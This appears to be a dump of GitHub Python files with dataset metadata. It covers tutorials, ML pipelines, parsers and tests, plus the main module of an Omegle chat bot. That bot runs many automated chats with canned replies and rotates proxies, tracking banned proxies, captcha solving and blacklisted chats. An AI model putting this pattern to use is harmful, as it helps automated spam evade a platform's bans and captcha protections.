recipe_modules/step/config.py.\n\n Returns:\n Opaque engine specific object that is understood by 'run_steps' method.\n \"\"\"\n return step.as_jsonish()\n\n\n","repo_name":"luqui/recipe_engine","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":26318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11814421465","text":" #!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @File : cp3_4_1.py\n# @Author: WRH\n# @Date : 2021/2/7\n# @Edition:Python3.8.6\n\n# 循环结构\n'''\n# 相关专业术语理解\n1、循环(loop),指的是在满足条件的情况下,重复执行同一段代码。比如,while语句。\n2、迭代(iterate),指的是按照某种顺序逐个访问序列数据中的每一项。比如,for语句。\n3、遍历(traversal),指的是按照一定的规则访问树形结构中的每个节点,而且每个节点都只访问一次。\n4、递归(recursion),指的是一个函数不断调用自身的行为。\n循环算是最基础的概念,凡是重复执行一段代码,都可以称之为循环。大部分的递归,遍历,迭代,都是循环\n共同点:这些概念都表示“重复”的含义,彼此互相交叉。\n在上下文清晰的情况下,不必做过于细致的区分。\n'''\n\n# while语句\n'''\nwhile循环结构书写格式\n\n初始值\nwhile 表达式: #表达式的值为真\n 语句块A\t #符合条件时执行的语句\nelse: #可选项\n 语句块B\n'''\n\n'''\nwhile后面的表达式可以为单个对象\npython中被判定为False的单个对象:\nFalse\nNone\n所有值为零的数:\na. 0(整数)\nb. 0.0(浮点数)\nc. 0L (长整数)\nd. 0.0+0.0j (复数)\n所有空序列:\n“”(空字符串)\n[] (空列表)\n() (空元组)\n{} {空字典}\n除了以上这些,其他的都判定为True\n'''\n\ntime = 8 # 设置初始计次数为8\nwhile time < 12: # 和if语句一样,后面有冒号\n print('有效次数内') # 和if语句一样,要缩进四个空格\n time = time + 1 # 对time进行再次赋值,也可用复合赋值运算符将此语句表示为time += 1\nelse:\n print('计次已满')\n\n# while死循环\n'''\nwhile后面可以为任意数字,只要不是0,就是条件永远为真,等价于while True。\n而while 0 等价于 while False。\n'''\nwhile 1: # 此表达式恒为真,当表达式恒为真时,循环将一直执行下去,无法靠自身终止,从而产生死循环。\n print('我是一个死循环')\n\nwhile 0:\n print('啥也没有')\n\n# 例3-9\n# 编写程序,统计并输出1~1000以内所有能够同时被3和7整除的数字个数\n\nnumber = 1 # 设置待验证的数字初始值\ncount = 0 # 设置满足条件数字个数的初始值\nwhile number <= 1000:\n if number % 3 == 0 and number % 7 == 0: # while语句内嵌if语句\n #print(number) #此语句可输出能够同时被3和7整除的数字\n count = count+1 # 如果if语句下的条件满足,则满足条件数字个数加一。因为是在if语句下,所以要再次缩进。\n number = number+1 # 此语句在while语句下,只需要缩进一次\nprint('能够同时被3和7整除的数字个数为:', count)\n\n","repo_name":"qianlixiushi/pyshareall","sub_path":"courseware/code4/cp3_4_1.py","file_name":"cp3_4_1.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11971695001","text":"# -*- coding: utf-8 -*-\n\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nconfig = {\n 'description': 'NAME',\n 'author': 'Zed A. Shaw',\n 'url': 'http://github.com/zedshaw/lpthw-study-projects',\n 'download_url': 'http://github.com/zedshaw/lpthw-study-projects',\n 'author_email': 'zedshaw@zedshaw.com',\n 'version': '1.0',\n 'scripts': [],\n 'install_requires': [],\n 'packages': ['NAME'],\n 'name': 'lpthwsp-NAME'\n}\n\nsetup(**config)\n","repo_name":"simonpatrick/interview-collections","sub_path":"python/notes/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9602493733","text":"import os\nimport pprint\nimport logging\nimport pickle\n\nfrom callback import Callback\nfrom logger import DataLogger, FileLogger, CustomLogger\nfrom data_persistence import JSONManager\n\ndef get_logdir_path(logdir_root, dataset_name,\n model_name, initializer_name,\n qbs_name, seed):\n logdir_path = os.path.join(\n logdir_root,\n dataset_name,\n model_name # ,\n # initializer_name,\n # qbs_name,\n # str(seed)\n )\n if not os.path.isdir(logdir_path):\n os.makedirs(logdir_path)\n return logdir_path\n\nclass ActiveLearning:\n def __init__(self, model, data_loader, data_pool, data_initializer,\n query_method, query_batch_size, num_cycles, metrics=[],\n query_with_gt=False,\n logdir_root=None, loggers=[], callbacks=[],\n weights_only=True, overwrite=False):\n\n # assert( query_method.name != 'init_model' )\n self.logdir_path = get_logdir_path(\n logdir_root=logdir_root,\n model_name=model.name,\n dataset_name=data_loader.name,\n initializer_name=data_initializer.name,\n qbs_name=\"None\", # query_batch_size.name,\n seed=data_initializer.seed_num\n )\n\n self.logger = logging.getLogger(__name__)\n\n self.model = model\n self.data_loader = data_loader\n self.data_pool = data_pool\n self.data_initializer = data_initializer\n self.query_method = query_method\n self.query_batch_size = query_batch_size\n self.num_cycles = num_cycles\n self.metrics = metrics\n self.query_with_gt = query_with_gt\n self.loggers = loggers\n self.callbacks = callbacks\n self.weights_only = weights_only\n\n self.model_logger = FileLogger(name='saved_models', ext='pth')\n self.loggers.append(self.model_logger)\n\n self.unlabeled_output_logger = CustomLogger(name='output/unlabeled')\n self.loggers.append(self.unlabeled_output_logger)\n \n self.test_output_logger = CustomLogger(name='output/test')\n self.loggers.append(self.test_output_logger)\n\n self.pool_logger = DataLogger(name='queried_data')\n self.loggers.append(self.pool_logger)\n\n self.metric_loggers = {}\n # for metric in metrics:\n # for k in metric.keys():\n # self.metric_loggers[k] = DataLogger(name=k, rel_path='eval')\n # self.loggers.append(self.metric_loggers[k])\n \n self.overwrite = overwrite\n \n\n def get_base_log_path(self, cycle):\n return os.path.join(\n self.logdir_path, \n 'init_model' if cycle == 0 else self.query_method.name\n )\n \n def update_loggers(self, cycle):\n base_log_path = self.get_base_log_path(cycle)\n for logger in self.loggers:\n logger.set_cycle(cycle)\n logger.set_base_path(base_log_path)\n \n def exec_callback(self, cb_name, *args, **kwargs):\n print('No callbacks')\n # for cb in self.callbacks:\n # cb_fn = getattr(cb, cb_name)\n # if cb_fn.__code__ != getattr(Callback, cb_name).__code__:\n # self.logger.info(f'Callback: {cb.__class__.__name__}.{cb_name}')\n # cb_fn(*args, **kwargs)\n\n def run(self):\n self.exec_callback('on_al_begin', loggers=self.loggers)\n for cycle in range(0, self.num_cycles + 1):\n self.update_loggers(cycle)\n self.exec_callback('on_cycle_begin', cycle=cycle)\n\n # Query and label unlabeled data using query method\n self.exec_callback('on_query_begin', cycle=cycle,\n pool_log_path=self.pool_logger.get_log_path(),\n unlabeled_output_path=self.unlabeled_output_logger.get_log_path())\n queried_data = self.query_and_label(cycle)\n self.exec_callback('on_query_end', cycle=cycle,\n queried_data=queried_data, \n pool_log_path=self.pool_logger.get_log_path,\n unlabeled_output_path=self.unlabeled_output_logger.get_log_path())\n\n # Train and save model\n self.exec_callback('on_train_begin', cycle=cycle,\n model_path=self.model_logger.get_log_path())\n self.train_model(cycle, from_cycle=0)\n self.exec_callback('on_train_end', cycle=cycle, \n model_path=self.model_logger.get_log_path())\n\n # Evaluate model\n self.exec_callback('on_eval_begin', cycle=cycle,\n test_output_path=self.test_output_logger.get_log_path())\n gts, preds, eval_results = self.evaluate_model(cycle)\n self.exec_callback('on_eval_end', cycle=cycle, eval_results=eval_results,\n test_output_path=self.test_output_logger.get_log_path())\n\n self.exec_callback('on_cycle_end', cycle=cycle)\n self.exec_callback('on_al_end')\n\n\n @staticmethod\n def get_model_predictions(model, data_loader, data_pool, split,\n output_logger, mode='test', overwrite=False, *args, **kwargs):\n log_path = output_logger.get_log_path()\n gts_path = os.path.join(log_path, 'gts.pkl')\n preds_path = os.path.join(log_path, 'preds.pkl')\n if (not overwrite) and os.path.isdir(log_path) and os.path.isfile(gts_path) and os.path.isfile(preds_path):\n # Load existing results if possible\n output_logger.info('Loading existing prediction results')\n with open(gts_path, 'rb') as gts_f:\n gts = pickle.load(gts_f)\n with open(preds_path, 'rb') as preds_f:\n preds = pickle.load(preds_f)\n else:\n # Predict and save prediction results\n if split == 'unlabeled':\n data_split = data_loader.data_loader(\n train_indices=data_pool.unlabeled_data(), \n mode=mode\n )\n elif split == 'labeled':\n data_split = data_loader.data_loader(\n train_indices=data_pool.labeled_data(), \n mode=mode\n )\n elif split == 'test':\n data_split = data_loader.test_data()\n else:\n raise ValueError(f'Unrecognized split {split}')\n\n gts, preds = model.predict(data_split, *args, **kwargs)\n\n output_logger.info('Saving prediction results')\n with open(gts_path, 'wb') as gts_f:\n pickle.dump(gts, gts_f)\n with open(preds_path, 'wb') as preds_f:\n pickle.dump(preds, preds_f)\n return gts, preds\n\n\n def query_and_label(self, cycle):\n queried_data = None\n if (not self.overwrite) and os.path.isfile(self.pool_logger.get_log_path()):\n queried_data = self.pool_logger.get_logged_data()\n\n if queried_data is None:\n if cycle == 0:\n queried_data = self.data_initializer.data()\n else:\n gts = preds = None\n # if self.query_method.name != 'random':\n gts, preds = self.get_model_predictions(self.model, self.data_loader, self.data_pool, split='unlabeled', output_logger=self.unlabeled_output_logger)\n if self.query_with_gt:\n scores, sorted_scores = self.query_method(preds, self.data_pool, self.data_loader, gt=gts)\n else:\n scores, sorted_scores = self.query_method(preds, self.data_pool, self.data_loader)\n score_idx = sorted_scores[:self.query_batch_size.get()]\n queried_data = self.data_pool.unlabeled_data()[score_idx]\n self.pool_logger.log_data(queried_data)\n else:\n self.logger.info(f'Loading existing queried data for cycle {cycle}')\n\n self.data_pool.mark_as_labeled(queried_data, cycle)\n return queried_data\n\n\n def train_model(self, cycle, from_cycle=0):\n if (not self.overwrite) and os.path.isfile( self.model_logger.get_log_path() ):\n # Load existing model\n self.logger.info(f'Loading existing model for cycle {cycle}')\n self.model.load( self.model_logger.get_log_path(), \n weights_only=self.weights_only )\n else:\n # Start from previous cycle, if specified\n if cycle != 0 and from_cycle is not None:\n self.model.load(\n self.model_logger.get_log_path(\n self.get_base_log_path(from_cycle),\n cycle=from_cycle\n ),\n weights_only=self.weights_only\n )\n\n # Get training and validation dataloaders\n labeled_data = self.data_loader.train_data(self.data_pool.labeled_data())\n labeled_data_size = self.data_pool.labeled_data_size()\n val_data = self.data_loader.val_data()\n val_data_size = self.data_loader.val_data_size()\n\n # Train model\n self.model.train(labeled_data, labeled_data_size, val_data, val_data_size, cycle)\n\n # Save model checkpoint\n self.model.save( self.model_logger.get_log_path(), \n weights_only=self.weights_only )\n\n\n def evaluate_model(self, cycle):\n eval_results = {}\n gts = preds = None\n\n # just give back stuff\n gts, preds = self.get_model_predictions(self.model, self.data_loader, self.data_pool, split='test', output_logger=self.test_output_logger)\n return gts, preds, {}\n\n if len(self.metrics) > 0:\n gts, preds = self.get_model_predictions(self.model, self.data_loader, self.data_pool, split='test', output_logger=self.test_output_logger)\n for metric in self.metrics:\n eval_results = { **eval_results, **metric(gts, preds) }\n\n self.logger.info(f'Cycle {cycle}, Data size: {self.data_pool.labeled_data_size()}, Eval: \\n{pprint.pformat(eval_results)}')\n\n for k, v in eval_results.items():\n self.metric_loggers[k].log_data(v)\n\n return gts, preds, eval_results\n \n","repo_name":"mpitropov/uncertainty_eval","sub_path":"create_pkls/active_learning.py","file_name":"active_learning.py","file_ext":"py","file_size_in_byte":10143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34514067091","text":"import chigger\nreader = chigger.exodus.ExodusReader('../input/mug_blocks_out.e')\nmug = chigger.exodus.ExodusResult(reader, variable='diffused', cmap='viridis', colorbar={'visible':False})\nwindow = chigger.RenderWindow(mug, size=[300,300], test=True)\nwindow.update()\n\nreader = chigger.exodus.ExodusReader('../input/step10_micro_out.e')\nmug = chigger.exodus.ExodusResult(reader, variable='phi', cmap='viridis', colorbar={'visible':False})\n\nwindow.clear()\nwindow.append(mug)\n\nwindow.start()\n\nif window.getActive() != mug:\n raise Exception('Setting the active result is not working!')\n\nwindow.write('window_clear.png')\n","repo_name":"mazajump/FEA-PhaseField-Moose","sub_path":"python/chigger/tests/window/window_clear.py","file_name":"window_clear.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"16687587726","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"Main module\"\"\"\n\nimport aiohttp\nimport asyncio\nimport random\nimport sys\nimport time\n\nfrom configparser import ConfigParser\n\nfrom manager import Manager\nfrom chat import Chat\nfrom proxy import ProxyDB\n\nmanager = Manager()\nif manager.enable_proxies:\n proxies = ProxyDB(manager.used_timeout, manager.banned_timeout)\n\n# Replies parser\nd = ConfigParser()\nd.read(manager.responses_data)\nreplies = dict((section, dict(d.items(section))) for section in d.sections())\n\n# Omegle chat servers\nservers = [\"front1\", \"front2\", \"front3\", \"front4\",\n \"front5\", \"front6\", \"front7\", \"front8\",\n \"front9\", \"front10\", \"front11\", \"front12\",\n \"front13\", \"front14\", \"front15\", \"front16\",\n \"front17\", \"front18\", \"front19\", \"front20\",\n \"front21\", \"front22\", \"front23\", \"front24\",\n \"front25\", \"front26\", \"front27\", \"front28\",\n \"front29\", \"front30\", \"front31\", \"front32\"]\n\n\nasync def load_proxies():\n if manager.proxy_source:\n while 1:\n manager.logger.debug(\"Loading proxies\")\n try:\n async with aiohttp.ClientSession() as session:\n async with session.post(manager.proxy_source) as r:\n resp = await r.text()\n except Exception:\n continue\n else:\n proxies.add(resp.split(\"\\n\"))\n manager.logger.debug(\"Proxies loaded\")\n await asyncio.sleep(10 * 60)\n\n\nasync def stats():\n while 1:\n m, s = divmod(time.time() - manager.start, 60)\n h, m = divmod(m, 60)\n runtime = \"%d:%02d:%02d\" % (h, m, s)\n\n if manager.debug:\n await asyncio.sleep(1)\n else:\n sys.stderr.write(\"\\x1b[2J\\x1b[H\\n\\n\")\n data = \"\"\"\n Statistics\n. Script Runtime: {}\n. Chats Active: {}\n. Chats Completed: {}\n. Chats Blacklisted: {}\n. Captchas Solving: {}\n. Captchas Successful: {}\n. Proxies Loaded: {}\n. Proxies Usable: {}\n. Proxies Used: {}\n. Proxies Banned: {}\n\"\"\".format(\n runtime,\n manager.active,\n manager.completed,\n manager.blacklisted,\n manager.captchas_solving,\n manager.captchas_successful,\n proxies.loaded_count(),\n proxies.usable_count(),\n proxies.used_count(),\n proxies.banned_count(),\n )\n sys.stdout.write(data)\n sys.stdout.write(\"\\033[?25l\")\n sys.stdout.flush()\n await asyncio.sleep(1)\n\n\nasync def start_chat():\n server = random.choice(servers)\n proxy = await proxies.get() if manager.enable_proxies else None\n while 1:\n chat = Chat(manager, server, replies, proxy)\n await chat.start()\n if manager.enable_proxies:\n proxies.set_used(proxy)\n if not chat.connected:\n proxy = await proxies.get()\n\n\nasync def main():\n asyncio.ensure_future(stats())\n if manager.enable_proxies:\n asyncio.ensure_future(load_proxies())\n for i in range(manager.threads):\n asyncio.ensure_future(start_chat())\n\n\nloop = asyncio.get_event_loop()\nloop.run_until_complete(main())\nloop.run_forever()\n","repo_name":"fakegit/omeglebot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"18661407583","text":"import os\nfrom typing import List\nimport pygame as pg\nimport datetime\nimport pickle\nimport torch as t\nfrom inference_model import InferenceModel\nfrom decision_model import DecisionModel\nfrom autonomous_vehicle import AutonomousVehicle\nfrom sim_draw import VisUtils\n\n\nclass Simulation:\n\n def __init__(self, env, duration, n_agents, inference_type, decision_type, sim_dt, sim_lr, sim_nepochs):\n\n self.duration = duration\n self.n_agents = n_agents\n self.dt = sim_dt\n self.running = True\n self.paused = False\n self.end = False\n self.clock = pg.time.Clock()\n self.frame = 0\n\n self.env = env\n self.agents = []\n\n # define simulation\n car_parameter = self.env.car_par\n if self.n_agents == 2:\n # simulations with 2 cars\n inference_model: List[InferenceModel] = [InferenceModel(inference_type[i], self)\n for i in range(n_agents)]\n decision_model: List[DecisionModel] = [DecisionModel(decision_type[i], self)\n for i in range(n_agents)]\n\n # define agents\n self.agents = [AutonomousVehicle(sim=self, env=self.env, par=car_parameter[i],\n inference_model=inference_model[i],\n decision_model=decision_model[i],\n i=i) for i in range(len(car_parameter))]\n\n self.draw = True # visualization during sim\n self.capture = False # save images during visualization\n # DISPLAY\n if self.draw:\n # TODO: update visualization\n self.vis = VisUtils(self) # initialize visualization\n # self.vis.draw_frame()\n # if self.capture:\n # output_name = datetime.datetime.now().strftime(\"%y-%m-%d-%h-%m-%s\")\n # os.makedirs(\"./sim_outputs/%s\" % output_name)\n # self.sim_out = open(\"./sim_outputs/%s/output.pkl\" % output_name, \"wb\")\n # self.output_dir = \"./sim_outputs/%s/video/\" % output_name\n # os.makedirs(self.output_dir)\n\n def snapshot(self):\n # take a snapshot of the current system state\n return self.agents.copy()\n\n def run(self):\n while self.running:\n # Update model here\n if not self.paused:\n for agent in self.agents:\n agent.update(self) # Run simulation\n\n # termination criteria\n if self.frame >= self.duration:\n break\n\n # TODO: update visualization\n # draw stuff after each iteration\n if self.draw:\n self.vis.draw_frame() # Draw frame\n # if self.capture:\n # pg.image.save(v.screen, \"%simg%03d.jpeg\" % (self.output_dir, self.frame))\n\n for event in pg.event.get():\n if event.type == pg.QUIT:\n pg.quit()\n self.running = False\n elif event.type == pg.KEYDOWN:\n if event.key == pg.K_p:\n self.paused = not self.paused\n if event.key == pg.K_q:\n pg.quit()\n self.running = False\n # if event.key == pg.K_d:\n # self.car_num_display = ~self.car_num_display\n\n # Keep fps\n\n if not self.paused:\n self.frame += 1\n\n pg.quit()\n\n def reset(self):\n # reset the simulation\n self.running = True\n self.paused = False\n self.end = False\n self.frame = 0\n\n def postprocess(self):\n # import matplotlib.pyplot as plt\n # import numpy as np\n # car_1_theta = np.empty((0, 2))\n # car_2_theta = np.empty((0, 2))\n # for t in range(self.frame):\n # car_1_theta = np.append(car_1_theta, np.expand_dims(self.sim_data.car2_theta_probability[t], axis=0), axis=0)\n # car_2_theta = np.append(car_2_theta, np.expand_dims(self.sim_data.car1_theta_probability[t], axis=0), axis=0)\n # plt.subplot(2, 1, 1)\n # plt.plot(range(1,self.frame+1), car_1_theta[:,0], range(1,self.frame+1), car_1_theta[:,1])\n # plt.subplot(2, 1, 2)\n # plt.plot(range(1,self.frame+1), car_2_theta[:,0], range(1,self.frame+1), car_2_theta[:,1])\n # plt.show()\n # # pickle.dump(self.sim_data, self.sim_out, pickle.HIGHEST_PROTOCOL)\n # print('Output pickled and dumped.')\n # if self.capture:\n # # Compile to video\n # # os.system(\"ffmpeg -f image2 -framerate 1 -i %simg%%03d.jpeg %s/output_video.mp4 \" % (self.output_dir, self.output_dir))\n # img_list = [self.output_dir+\"img\"+str(i).zfill(3)+\".jpeg\" for i in range(self.frame)]\n # import imageio\n # images = []\n # for filename in img_list:\n # images.append(imageio.imread(filename))\n # imageio.mimsave(self.output_dir+'movie.gif', images)\n # #\n # # # Delete images\n # # [os.remove(self.output_dir + file) for file in os.listdir(self.output_dir) if \".jpeg\" in file]\n # # print(\"Simulation video output saved to %s.\" % self.output_dir)\n # print(\"Simulation ended.\")\n pass\n\n\n\n","repo_name":"zchoffma/Social_Gracefulness_of_Autonomous_Systems","sub_path":"savi_simulation.py","file_name":"savi_simulation.py","file_ext":"py","file_size_in_byte":5479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"41905044005","text":"# A number, a, is a power of b if it is divisible by b and a/b is a power of b\n\ndef is_power(a, b):\n if a < b:\n return True\n\n if ((a % b == 0) and (is_power((a / b), b))):\n return True\n else:\n return False\n\n\nprint(is_power(732 , 3))","repo_name":"aidancurtis/thinkpython","sub_path":"chapter_6/6.7_power.py","file_name":"6.7_power.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"124017805","text":"import json\n\ndef get_stored_username():\n \"\"\"如果存储了用户名,就获取它\"\"\"\n filename = 'username.json'\n try:\n with open(filename) as f_obj:\n username = json.load(f_obj)\n except FileNotFoundError:\n return None\n else:\n return username\n\ndef get_new_username():\n \"\"\"提示用户输入用户名\"\"\"\n username = input(\"What is your name? \")\n filename = 'username.json'\n with open(filename, 'w') as f_obj:\n json.dump(username, f_obj)\n return username\n \ndef greet_user():\n \"\"\"问候用户,并指出其名字\"\"\"\n username = get_stored_username()\n if username:\n print(\"Welcome back, \" + username.title() + \"!\")\n else:\n username = get_new_username()\n print(\"We'll remember you when you come back, \" + username.title() + \"!\")\n\nusername = get_stored_username() \njudgement = input(\"If your name is \" + username + \"?(Y/N)\\n\" )\nif judgement.title() == 'Y':\n greet_user()\nif judgement.title() == 'N':\n get_new_username()\n greet_user()\n","repo_name":"xiaomengxiangjia/Python","sub_path":"practice_10_13.py","file_name":"practice_10_13.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42206162435","text":"#! /usr/bin/python\n\n# To change this template, choose Tools | Templates\n# and open the template in the editor.\n\n__author__ = \"Bartłomiej Bułat \"\n__date__ = \"$2011-01-21 19:01:28$\"\n\nimport html.parser\nimport urllib.request\nimport math\n\nclass TramScheduleParser(html.parser.HTMLParser):\n def __init__(self):\n html.parser.HTMLParser.__init__(self)\n self.tables = 0;\n self.stable = False;\n self.row = 0;\n self.days = [];\n self.column = 0;\n self.rozklad = {}\n self.info = False;\n self.bs = 0;\n self.isName = False;\n self.name =\"\"\n\n\n def feed(self, feed):\n html.parser.HTMLParser.feed(self, feed)\n #print(self.name)\n #print(self.rozklad)\n\n #print(\"########################################\")\n for day, hours in self.rozklad.items():\n newHours = []\n for hour in hours:\n #print(hour)\n newHours.extend([ \"{}:{}\".format(hour[0], min) for min in hour[1] ])\n self.rozklad[day] = newHours;\n \n\n def handle_starttag(self, tag, attrs):\n if tag == \"table\":\n self.handle_table_start(attrs)\n if tag == \"tr\":\n self.tr_start(attrs)\n if tag == \"td\":\n self.td_start(attrs)\n if tag == \"b\":\n self.b_start(attrs)\n\n def handle_endtag(self, tag):\n if tag == \"table\":\n self.handle_table_end()\n if tag == \"tr\":\n self.tr_end()\n\n def b_start(self, attrs):\n self.bs += 1;\n if self.bs == 2:\n self.isName = True\n\n def handle_table_start(self, attrs):\n bgcolor = [el[1] for el in attrs if el[0] == \"bgcolor\"]\n if len(bgcolor) == 1 and bgcolor[0] == '#EFF7FF':\n self.stable = True;\n if self.stable:\n self.tables += 1;\n\n def handle_table_end(self):\n if self.stable:\n self.tables -= 1;\n if self.tables == 0:\n self.stable = False\n\n def td_start(self, attrs):\n colspan = [el[1] for el in attrs if el[0] == \"colspan\"]\n if len(colspan) == 1 and colspan[0] == '6':\n #print( colspan[0] )\n self.info = True\n\n def tr_start(self, attrs):\n if self.stable:\n self.row += 1;\n pass\n\n def tr_end(self):\n if self.stable:\n self.column = 0;\n pass\n\n def handle_data(self, data):\n if self.isName:\n self.name = data\n self.isName = False\n if data[:3] == \"Zak\":\n self.info = True\n if self.info:\n return\n if self.row == 1:\n self.days.append(data);\n self.rozklad[data] = [];\n if self.row > 1:\n day = self.days[math.floor(self.column/2)]\n if self.column % 2 == 0:\n self.rozklad[day].append([data]);\n else:\n self.rozklad[day][self.row-2].append([min for min in data.split(\" \") if min != '' and min != '-']);\n #print(\"{}: {}\".format(self.column, data))\n if self.stable:\n self.column += 1\n\n\n\nif __name__ == \"__main__\":\n adres = \"http://rozklady.mpk.krakow.pl/aktualne/{linia:04d}/{linia:04d}t{stop:03d}.htm\"\n strona = urllib.request.urlopen(adres.format(linia=40, stop=111))\n tresc = strona.read()\n rozklad = tresc.decode(\"iso-8859-2\")\n parser = TramScheduleParser()\n parser.feed(rozklad)\n\n print( parser.name )\n print( str(parser.rozklad))\n","repo_name":"barthez/CracowTramSimulation","sub_path":"TramScheduleParser/src/ScheduleParser.py","file_name":"ScheduleParser.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"28056496291","text":"import re\nimport os\nfrom base import Processor\n\nin_folder = '../data/raw'\nout_folder = '../data/processed'\ndataset = 'FB15k-237'\ncased = True\n\n\nclass FB15k237_Processor(Processor):\n def __init__(self, in_folder, out_folder, dataset):\n super().__init__(in_folder, out_folder, dataset)\n\n def create_ent2name(self, filename):\n lines = self.read_file(filename)\n for i, line in enumerate(lines):\n ent, name = line.split('\\t')\n name = name.strip('\\\"').replace(r'\\n', '').replace(r'\\t', '').replace('\\\\', '')\n if ent not in self.ent2name:\n self.ent2name[ent] = name\n else:\n raise ValueError('%s dupliated entities!' % ent)\n\n def create_ent2descrip(self, filename):\n lines = self.read_file(filename)\n for i, line in enumerate(lines):\n ent, descrip = line.split('\\t')\n if descrip.endswith('@en'):\n descrip = descrip[:-3]\n descrip = descrip.strip('\\\"').replace(r'\\n', '').replace(r'\\t', '').replace('\\\\', '')\n if ent not in self.ent2descrip:\n self.ent2descrip[ent] = descrip\n else:\n raise ValueError('%s dupliated entities!' % ent)\n\n def create_ent2id(self, filename):\n lines = self.read_file(filename)\n for i, line in enumerate(lines):\n ent = line.strip()\n self.ent2id[ent] = i\n self.entid2name[i] = self.ent2name[ent]\n if ent in self.ent2descrip:\n self.entid2descrip[i] = self.ent2descrip[ent]\n else:\n self.entid2descrip[i] = ''\n\n def create_rel2id(self, filename):\n lines = self.read_file(filename)\n for i, line in enumerate(lines):\n rel = line.split('\\t')[0]\n self.rel2id[rel] = i\n self.relid2name[i] = rel\n\nprocessor = FB15k237_Processor(in_folder, out_folder, dataset)\nprocessor.create_out_folder()\nprocessor.create_ent2name('entity2text.txt')\nprocessor.create_ent2descrip('entity2textlong.txt')\nprocessor.create_ent2id('entities.txt')\nprocessor.create_rel2id('relation2text.txt')\nprocessor.write_file('entity2id.txt', sort_key=lambda x: x[1])\nprocessor.write_file('relation2id.txt', sort_key=lambda x: x[1])\nprocessor.write_file('entityid2name.txt')\nprocessor.write_file('relationid2name.txt', func=lambda x: x.strip('/').replace('/', ' , ').replace('_', ' '))\nprocessor.write_file('entityid2description.txt')\n\nin_files = ['train.tsv', 'dev.tsv', 'test.tsv']\nout_files = ['train2id.txt', 'valid2id.txt', 'test2id.txt']\nfor i in range(3):\n in_file, out_file = in_files[i], out_files[i]\n triples = processor.read_triples(in_file)\n processor.write_triples(out_file, triples)\n\n","repo_name":"chenchens190009/KG-S2S","sub_path":"script/process_fb15k237.py","file_name":"process_fb15k237.py","file_ext":"py","file_size_in_byte":2749,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"3"} +{"seq_id":"70031852883","text":"# Author: Emil Møller Hansen\n\nfrom dlc.models.UnetBasedTrainer import UnetBasedTrainer\nfrom .config import Config\nfrom tensorflow.keras import layers, models\n\n\nclass Trainer(UnetBasedTrainer):\n\n def __init__(self, conf: Config):\n super().__init__(conf)\n\n def get_count_model(self, base_model):\n\n input_layer_idxs = [20, 25, 30, 35, 40]\n input_layers = [\n base_model.layers[input_layer_idx] for input_layer_idx in input_layer_idxs\n ]\n\n input_shapes = [input_layer.output.shape for input_layer in input_layers]\n\n conv_layers = [\n layers.Conv2D(int(input_shapes[idx][-1] / 64), (1, 1),\n name=f\"count_conv_{idx}\",\n activation=\"elu\")(input_layer.output)\n for (idx, input_layer) in enumerate(input_layers)\n ]\n flat_layers = [layers.Flatten()(conv_layer) for conv_layer in conv_layers]\n dense_layers_1 = [\n layers.Dense(flat_layer.shape[1] / 512, activation=\"elu\")(flat_layer)\n for flat_layer in flat_layers\n ]\n concat_layer = layers.concatenate(dense_layers_1)\n output_layer = layers.Dense(1)(concat_layer)\n counting_model = models.Model(inputs=base_model.inputs, outputs=[output_layer])\n self.compile_model(counting_model)\n return counting_model\n","repo_name":"Emil2468/DeepLearningCounting","sub_path":"dlc/trainers/UnetUpsamplingPath/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"71556313681","text":"#!/usr/bin/env python3.9\n\n\"\"\"Gestion des droits d'exécution des commandes du bot discord.\"\"\"\n\nimport functools # @functools.wraps(func) est un décorateurs à mettre sur new_func() dans un décorateur\nimport yaml\nimport inspect\nimport discord\nfrom discord.ext import commands\nfrom config import emoji\nfrom tools.format import fcite, fmarkdown\n\n\nclass Access:\n \"\"\"Classe de décorateur d'accès aux fonction.\"\"\"\n\n def __init__(self):\n self.masters = Access.get_masters_id()\n self.rejection = \"Vous n'avez pas les droits. \"\n self.admin_emoji = emoji.admin\n\n # ######### #\n # Functions #\n # ######### #\n\n @staticmethod\n def get_my_id() -> int:\n \"\"\"Renvoie mon id.\"\"\"\n with open(\"data/yaml/bot.yml\") as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n return data[\"bot\"][\"my_id\"]\n\n @staticmethod\n def get_masters_id() -> list:\n \"\"\"Renvoie la liste des admins au sens du bot.\"\"\"\n with open(\"data/yaml/bot.yml\") as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n return data[\"bot\"][\"masters_id\"]\n\n @staticmethod\n def get_role(ctx: commands.Context, role_name):\n \"\"\"Renvoie le rôle prisonnier.\"\"\"\n return discord.utils.get(ctx.guild.roles, name=role_name)\n\n @classmethod\n def get_roles(cls, ctx: commands.Context, roles: list):\n \"\"\"Renvoie la liste des rôles.\"\"\"\n return 